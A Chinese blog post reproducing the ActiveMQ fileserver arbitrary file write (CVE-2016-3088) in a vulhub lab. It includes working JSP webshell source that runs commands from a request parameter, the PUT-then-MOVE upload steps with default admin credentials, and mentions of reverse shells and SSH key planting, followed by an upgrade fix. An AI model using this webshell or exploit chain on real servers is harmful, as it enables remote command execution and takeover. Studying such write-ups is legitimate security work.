ActiveMQ任意文件写入漏洞 (CVE-2016-3088)

  • Post author:
  • Post category:其他



0x00 前言


–学如逆水行舟,不进则退


0x01 漏洞简介

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。


0x02 影响版本

Apache ActiveMQ 5.0.0 – 5.13.2


0x03 环境搭建


这里环境搭建使用的是vulhub靶场路的环境

cd /vulhub-master/activemq/CVE-2016-3088             //进去漏洞环境目录

docker-compose up -d                 //启动漏洞环境

启动之后,访问一下ip:8161出现以下环境,说明搭建成功


0x04 漏洞复现


先访问ip:8161/admin,进行登录,默认密码为admin,admin,登录之后进行以下操作


访问ip:8161/fileserver/进行抓包,使用PUT方法,上传webshell到fileserver目录下,如下图


JSP的内容为:


<%@ page import=”java.io.*”%>

<%

out.print(“Hello</br>”);

String strcmd=request.getParameter(“cmd”);

String line=null;

Process p=Runtime.getRuntime().exec(strcmd);

BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));


while((line=br.readLine())!=null){


out.print(line+”</br>”);

}

%>


上传之后,访问ip:fileserver/3.jsp,发现没有解析成功,说明fileserver目录权限不够,如下图


再访问ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径,如下图


得到他的路径之后,访问ip:8161/fileserver/3.jsp,进行抓包,通过修改为move的方式,将刚刚上传的文件移动到api目录下


移动之后,访问 ip:8161/api/3.jsp?cmd=whoami,发现命令执行成功


这个漏洞也可以进行蚁剑一句话上传,也可以写入ssh key进行连接以及反弹shell


0x05 漏洞修复

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本



版权声明:本文为m0_58596609原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。